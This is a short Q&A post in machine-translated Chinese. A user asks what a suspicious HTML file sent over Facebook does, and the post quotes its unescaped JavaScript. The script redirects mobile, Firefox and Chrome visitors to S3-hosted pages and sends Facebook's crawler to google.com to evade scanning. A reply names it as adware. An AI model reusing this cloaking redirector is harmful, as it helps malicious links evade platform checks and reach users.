1
這是發送給我的Facebook嵌入在一個HTML ..我沒有打開這個,因爲我懷疑它。任何人都可以告訴我它做了什麼?HTML中未轉義的字符串
問題陳述:這是使用
document.write(unescape('<something here>');
我這個非轉義寫。
`<script type="text/javascript"> // <![CDATA[
if ((navigator.userAgent.indexOf('Android') != -1)) {
document.location = "http://s3.amazonaws.com/video-asntjhwert/s.html";
} // ]]>
</script>
<script language=javascript>
if((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i)))
{
location.replace("http://s3.amazonaws.com/video-asntjhwert/s.html");
}
</script>
<body>
<script>
if (navigator['userAgent']['indexOf']('Firefox') != -1) {
window['location'] = 'https://s3.amazonaws.com/video-asntjhwert/index.html';
} else {
if (navigator['userAgent']['indexOf']('Facebook Bot') != -1) {
window['location'] = 'http://google.com/';
} else {
if (navigator['userAgent']['indexOf']('Chrome') != -1) {
window['location'] = 'https://s3.amazonaws.com/video-asntjhwert/index.html';
} else {
window['location'] = 'http://s3.amazonaws.com/video-asntjhwert/s.html';
};
};
};
</script>
</body>'));
`
它會檢查您正在使用的瀏覽器,它會將您重定向到s3.amazonnews.com網站...它的廣告軟件腳本 – RRR